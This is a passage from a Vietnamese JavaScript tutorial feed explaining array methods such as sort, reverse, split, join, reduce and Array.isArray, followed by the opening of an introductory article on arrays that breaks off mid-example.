class="token punctuation">(</span>a <span class="token operator">==</span> b<span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token comment">// a, b bằng nhau</span></span><span class="gatsby-highlight-code-line"> <span class="token keyword">if</span> <span class="token punctuation">(</span>a <span class="token operator">&lt;</span> b<span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span> <span class="token comment">// a đứng trước b</span></span><span class="gatsby-highlight-code-line"><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (3) [1, 2, 15]</span></code></pre></div> <p>Kết quả bây giờ đã đúng như mong muốn. Để biết thêm về sắp xếp mảng, mời bạn tham khảo hai bài viết:</p> <ul> <li><a href="/sap-xep-mang-trong-javascript/">Sắp xếp mảng</a></li> <li><a href="/sap-xep-tieng-viet-javascript/">Sắp xếp mảng Tiếng Việt</a></li> </ul> <h3 id="phương-thức-reverse" style="position:relative;"><a href="#ph%C6%B0%C6%A1ng-th%E1%BB%A9c-reverse" aria-label="phương thức reverse permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Phương thức <code>reverse</code></h3> <p>Phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/reverse"><code>arr.reverse</code></a> giúp đảo ngược mảng gốc, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">]</span><span class="token punctuation">;</span> arr<span class="token punctuation">.</span><span class="token function">reverse</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (5) [5, 4, 3, 2, 1]</span></code></pre></div> <h3 id="phương-thức-split-và-join" style="position:relative;"><a href="#ph%C6%B0%C6%A1ng-th%E1%BB%A9c-split-v%C3%A0-join" aria-label="phương thức split và join permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Phương thức <code>split</code> và <code>join</code></h3> <p>Phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/split"><code>arr.split(delim)</code></a> giúp tách string thành một mảng với giá trị dùng để phân tách là <code>delim</code>.</p> <p>Ví dụ phân tách string thành mảng dựa trên dấu phẩy <code>,</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> str <span class="token operator">=</span> <span class="token string">"a,b,c,d"</span><span class="token punctuation">;</span> <span class="token keyword">let</span> arr <span class="token operator">=</span> str<span class="token punctuation">.</span><span class="token function">split</span><span class="token punctuation">(</span><span class="token string">","</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (4) [a, b, c, d]</span></code></pre></div> <p>Phương thức <code>arr.split</code> còn có tham số thứ hai dùng để giới hạn chiều dài của mảng:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> str <span class="token operator">=</span> <span class="token string">"a,b,c,d"</span><span class="token punctuation">;</span> <span class="token comment">// giới hạn số phần tử của mảng là 2</span> <span class="token keyword">let</span> arr <span class="token operator">=</span> str<span class="token punctuation">.</span><span class="token function">split</span><span class="token punctuation">(</span><span class="token string">","</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (2) [a, b]</span></code></pre></div> <p>Phương thức <code>arr.join</code> xử lý ngược lại với phương thức <code>arr.split</code>. Phương thức này trả về một string bằng cách ghép các phần tử mảng với "một kí tự kết nối".</p> <p>Ví dụ ghép các phần tử mảng bởi dấu <code>,</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token string">"c"</span><span class="token punctuation">,</span> <span class="token string">"d"</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token comment">// ghép các phần tử mảng bằng kí tự ,</span> <span class="token keyword">let</span> str <span class="token operator">=</span> arr<span class="token punctuation">.</span><span class="token function">join</span><span class="token punctuation">(</span><span class="token string">","</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>str<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// a,b,c,d</span></code></pre></div> <h3 id="phương-thức-reduce-và-reduceright" style="position:relative;"><a href="#ph%C6%B0%C6%A1ng-th%E1%BB%A9c-reduce-v%C3%A0-reduceright" aria-label="phương thức reduce và reduceright permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Phương thức <code>reduce</code> và <code>reduceRight</code></h3> <p>Phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/reduce"><code>arr.reduce</code></a> và <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/reduceRight"><code>arr.reduceRight</code></a> dùng để tính toán và trả về một giá trị duy nhất từ các phần tử mảng.</p> <p>Cú pháp phương thức <code>reduce</code> là:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> value <span class="token operator">=</span> arr<span class="token punctuation">.</span><span class="token function">reduce</span><span class="token punctuation">(</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">accumulator<span class="token punctuation">,</span> item<span class="token punctuation">,</span> index<span class="token punctuation">,</span> array</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// code xử lý</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">[</span>initial<span class="token punctuation">]</span> <span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Trong đó:</p> <ul> <li><code>initial</code>: giá trị khởi tạo, mặc định là <code>0</code>.</li> <li><code>function</code> là hàm xử lý mỗi phần tử của mảng và trả về giá trị tích lũy, với các tham số: <ul> <li><code>accumulator</code>: giá trị tích lũy sau lần duyệt phần tử phía trước và trong lần đầu tiên thì <code>accumulator</code> bằng giá trị khởi tạo <code>initial</code>.</li> <li><code>item</code>: phần tử hiện tại đang duyệt.</li> <li><code>index</code>: chỉ số của phần tử đang duyệt.</li> <li><code>array</code>: mảng đang duyệt, chính là <code>arr</code>.</li> </ul> </li> </ul> <p>Kết quả trả về của phương thức <code>reduce</code> chính là giá trị cuối cùng của <code>accumulator</code>.</p> <p>Ví dụ tính tổng các phần tử trong mảng:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token comment">// giá trị khởi tạo không truyền nên mặc định là 0</span> <span class="token comment">// tại mỗi lần duyệt, giá trị tích lũy được cộng với giá trị phần tử hiện tại</span> <span class="token keyword">let</span> result <span class="token operator">=</span> arr<span class="token punctuation">.</span><span class="token function">reduce</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">sum<span class="token punctuation">,</span> current</span><span class="token punctuation">)</span> <span class="token operator">=></span> sum <span class="token operator">+</span> current<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>result<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 15</span></code></pre></div> <p>Phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/reduceRight"><code>arr.reduceRight</code></a> tương tự như phương thức <code>arr.reduce</code>, chỉ khác là thứ tự duyệt từ phải sang trái.</p> <p>Để biết thêm về <code>arr.reduce</code>, mời bạn tham khảo bài viết: <a href="/ung-dung-cua-reduce-javascript/">Ứng dụng reduce trong mảng</a>.</p> <h2 id="cách-kiểm-tra-giá-trị-là-mảng" style="position:relative;"><a href="#c%C3%A1ch-ki%E1%BB%83m-tra-gi%C3%A1-tr%E1%BB%8B-l%C3%A0-m%E1%BA%A3ng" aria-label="cách kiểm tra giá trị là mảng permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cách kiểm tra giá trị là mảng</h2> <p>Vì array bản chất là object, nên bạn không thể dùng <code>typeof</code> để xác định array.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">let</span> obj <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">typeof</span> arr<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// object</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">typeof</span> obj<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// object</span></code></pre></div> <p>Để giải quyết vấn đề trên, bạn có thể sử dụng phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/isArray"><code>Array.isArray(value)</code></a>. Phương thức này trả về <code>true</code> nếu <code>value</code> là mảng, ngược lại thì trả về <code>false</code>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">let</span> obj <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>Array<span class="token punctuation">.</span><span class="token function">isArray</span><span class="token punctuation">(</span>arr<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>Array<span class="token punctuation">.</span><span class="token function">isArray</span><span class="token punctuation">(</span>obj<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span></code></pre></div> <h2 id="tham-số-thisarg" style="position:relative;"><a href="#tham-s%E1%BB%91-thisarg" aria-label="tham số thisarg permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tham số <code>thisArg</code></h2> <p>Hầu hết các phương thức của mảng trong JavaScript đều có tham số cuối cùng là <code>thisArg</code>.</p> <blockquote> <p>Tham số này không bắt buộc và ít sử dụng nên mình không nói đến trong các phần trên.</p> </blockquote> <p>Cú pháp đầy đủ các phương thức với <code>thisArg</code> là:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">arr<span class="token punctuation">.</span><span class="token function">find</span><span class="token punctuation">(</span>func<span class="token punctuation">,</span> thisArg<span class="token punctuation">)</span><span class="token punctuation">;</span> arr<span class="token punctuation">.</span><span class="token function">filter</span><span class="token punctuation">(</span>func<span class="token punctuation">,</span> thisArg<span class="token punctuation">)</span><span class="token punctuation">;</span> arr<span class="token punctuation">.</span><span class="token function">map</span><span class="token punctuation">(</span>func<span class="token punctuation">,</span> thisArg<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// ...</span> <span class="token comment">// thisArg là tham số cuối cùng và không bắt buộc phải có</span></code></pre></div> <p>Giá trị của <code>thisArg</code> chính là giá trị của <code>this</code> ở trong hàm <code>func</code>.</p> <p>Ví dụ lọc các giá trị của mảng nằm trong đoạn từ <code>min</code> đến <code>max</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// mảng ban đầu</span> <span class="token keyword">let</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">6</span><span class="token punctuation">,</span> <span class="token number">10</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token comment">// object điều kiện</span> <span class="token keyword">let</span> boundary1 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">min</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">max</span><span class="token operator">:</span> <span class="token number">5</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> boundary2 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">min</span><span class="token operator">:</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token literal-property property">max</span><span class="token operator">:</span> <span class="token number">8</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// filter function</span> <span class="token comment">// giá trị của this là object ứng với thisArg</span> <span class="token keyword">function</span> <span class="token function">filterFunc</span><span class="token punctuation">(</span><span class="token parameter">item</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> item <span class="token operator">>=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>min <span class="token operator">&amp;&amp;</span> item <span class="token operator">&lt;=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>max<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// filter</span> <span class="token keyword">let</span> ret1 <span class="token operator">=</span> arr<span class="token punctuation">.</span><span class="token function">filter</span><span class="token punctuation">(</span>filterFunc<span class="token punctuation">,</span> boundary1<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> ret2 <span class="token operator">=</span> arr<span class="token punctuation">.</span><span class="token function">filter</span><span class="token punctuation">(</span>filterFunc<span class="token punctuation">,</span> boundary2<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// kết quả</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>ret1<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (5) [1, 3, 5, 2, 4]</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>ret2<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (4) [3, 5, 6, 4]</span></code></pre></div> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>Sau đây là tổng kết một số phương thức của mảng trong JavaScript:</p> <ul> <li>Thêm/xóa phần tử mảng: <ul> <li><code>push(...items)</code>: thêm một hay nhiều phần tử vào cuối mảng.</li> <li><code>pop()</code>: lấy ra và trả về phần từ cuối cùng của mảng.</li> <li><code>shift()</code>: lấy ra và trả về phần tử đầu tiên của mảng.</li> <li><code>unshift(...items)</code>: thêm vào một hay nhiều phần tử vào đầu mảng.</li> <li><code>splice(pos, deleteCount, ...items)</code>: tại vị trí <code>pos</code>, xóa <code>deleteCount</code> phần tử rồi chèn thêm vào đó các <code>items</code>.</li> <li><code>slice(start, end)</code>: tạo mảng mới bằng cách copy các phần tử của mảng từ vị trí <code>start</code> đến <code>end</code> (không bao gồm <code>end</code>).</li> <li><code>concat(...items)</code>: trả về mảng mới bằng cách copy tất cả các phần tử của mảng hiện tại, rồi chèn thêm các <code>items</code> phía sau. Nếu <code>items</code> là một mảng thì các phần tử của mảng sẽ được copy, ngược lại thì copy cả <code>items</code>.</li> </ul> </li> <li>Tìm kiếm trong mảng: <ul> <li><code>indexOf(item, pos)</code>: tìm phần tử <code>item</code> trong mảng bắt đầu từ vị trí <code>pos</code> và trả về chỉ số vị trí tìm thấy, ngược lại trả về <code>-1</code>.</li> <li><code>lastIndexOf(item, pos)</code>: tương tự như phương thức <code>indexOf(item, pos)</code> nhưng thứ tự tìm kiếm là từ phải sang trái.</li> <li><code>includes(value)</code>: trả về <code>true</code> nếu mảng chứa giá trị <code>value</code>, ngược lại thì trả về <code>false</code>.</li> <li><code>find(func)</code>: tìm và trả về phần tử đầu tiên trong mảng thỏa mãn hàm <code>func</code> (tức hàm <code>func</code> trả về <code>true</code>).</li> <li><code>filter(func)</code>: tìm và trả về tất cả các phần tử trong mảng thỏa mãn hàm <code>func</code> (tức hàm <code>func</code> trả về <code>true</code>).</li> <li><code>findIndex(func)</code>: tương tự phương thức <code>find(func)</code> nhưng giá trị trả về là chỉ số.</li> </ul> </li> <li>Duyệt mảng: <ul> <li><code>forEach(func)</code>: gọi hàm <code>func</code> ứng với mỗi phần tử của mảng và không trả về giá trị nào.</li> </ul> </li> <li>Biến đổi mảng: <ul> <li><code>map(func)</code>: tạo mảng mới từ kết quả của việc gọi hàm <code>func</code> ứng với mỗi phần tử mảng.</li> <li><code>sort(func)</code>: sắp xếp mảng hiện tại theo thứ tự.</li> <li><code>reverse()</code>: đảo ngược thứ tự mảng hiện tại.</li> <li><code>split(delim)</code>: tách string thành mảng với giá trị phân tách là <code>delim</code>.</li> <li><code>join(delim)</code>: ghép các phần tử mảng với giá trị kết nối là <code>delim</code> và trả về string sau khi kết nối.</li> <li><code>reduce(func, initial)</code>: tính toán và trả về một giá trị duy nhất bằng cách gọi hàm <code>func</code> với mỗi phần tử mảng. Kết quả của mỗi lượt duyệt sẽ được tích lũy và truyền vào lượt tiếp theo.</li> <li><code>reduceRight(func, initial)</code>: tương tự như <code>reduce</code> nhưng thứ tự duyệt là từ phải sang trái.</li> </ul> </li> </ul> <p>Để kiểm tra một giá trị là mảng, bạn sử dụng phương thức <code>Array.isArray(value)</code>.</p> <p>Trên đây là các phương thức của mảng trong JavaScript mà mình thấy hay sử dụng nhất. Dĩ nhiên, còn nhiều phương thức khác nữa, bạn có thể tự tìm hiểu thêm tại các bài viết sau:</p> <ul> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array">MDN Array</a></li> <li><a href="https://javascript.info/array-methods">Array methods</a></li> </ul>[email protected]<![CDATA[Array là gì? Array trong JavaScript]]><![CDATA[Array trong JavaScript cũng là một loại object. Nhưng array khác object bình thường ở chỗ là: Array (mảng) được thiết kế để lưu trữ dữ liệu theo thứ tự. Object (đối tượng) bình…]]>https://completejavascript.com/array-la-gi-array-trong-javascript/https://completejavascript.com/array-la-gi-array-trong-javascript/<![CDATA[Array]]><![CDATA[Kiểu dữ liệu]]>Mon, 29 May 2017 07:00:00 GMT<p>Array trong JavaScript cũng là một loại <a href="/object-la-gi-object-trong-javascript/">object</a>. Nhưng array khác object bình thường ở chỗ là:</p> <ul> <li>Array (mảng) được thiết kế để <strong>lưu trữ dữ liệu theo thứ tự</strong>.</li> <li>Object (đối tượng) bình thường chỉ là tập hợp của các cặp <strong>key-value</strong>.</li> </ul> <p>Sau đây, mình sẽ tìm hiểu chi tiết về array trong JavaScript.</p> <h2 id="khởi-tạo-array-trong-javascript" style="position:relative;"><a href="#kh%E1%BB%9Fi-t%E1%BA%A1o-array-trong-javascript" aria-label="khởi tạo array trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Khởi tạo array trong JavaScript</h2> <p>Có <strong>hai cách</strong> để khởi tạo array rỗng là:</p> <ul> <li>Sử dụng dấu ngoặc vuông <code>[]</code>.</li> <li>Sử dụng hàm khởi tạo <code>new Array()</code>.</li> </ul> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> a1 <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">let</span> a2 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Array</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Trong đó, cú pháp sử dụng <code>[]</code> là phổ biển hơn cả vì cách này <strong>nhanh và ngắn gọn hơn</strong>.</p> <p>Ngoài ra, bạn có thể khởi tạo array trong JavaScript với <strong>một số phần tử cho trước</strong>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> letters <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token string">"c"</span><span class="token punctuation">]</span><span class="token punctuation">;</span></code></pre></div> <p>Khi đó, các phần tử trong mảng được sắp xếp theo thứ tự, phần tử đầu tiên có chỉ số là <code>0</code>. Phần tử cuối cùng có chỉ số bằng độ dài mảng trừ đi 1 đơn vị.</p> <p>Để truy cập các phần tử trong mảng, bạn sử dụng <code>arr[index]</code> với <code>index</code> là chỉ số của phần tử:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> letters <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token string">"c"</span><span class="token punctuation">]</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>letters<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// a</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>letters<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// b</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>letters<span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// c</span> <span class="token comment">// trường hợp chỉ số ngoài phạm vi giới hạn thì kết quả là undefined</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>letters<span class="token punctuation">[</span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// undefined</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>letters<span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// undefined</span></code></pre></div> <p>Bạn cũng có thể thay đổi giá trị của phần tử trong mảng:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> letters <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token string">"c"</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token comment">// thay đổi giá trị của mảng tại chỉ số 0</span> letters<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token string">"A"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>letters<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// A</span></code></pre></div> <p>Hoặc thêm phần tử mới vào mảng:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> letters <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token string">"c"</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token comment">// thêm phần tử vào mảng tại chỉ số 3</span> letters<span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token string">"d"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>letters<span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">]</span><span 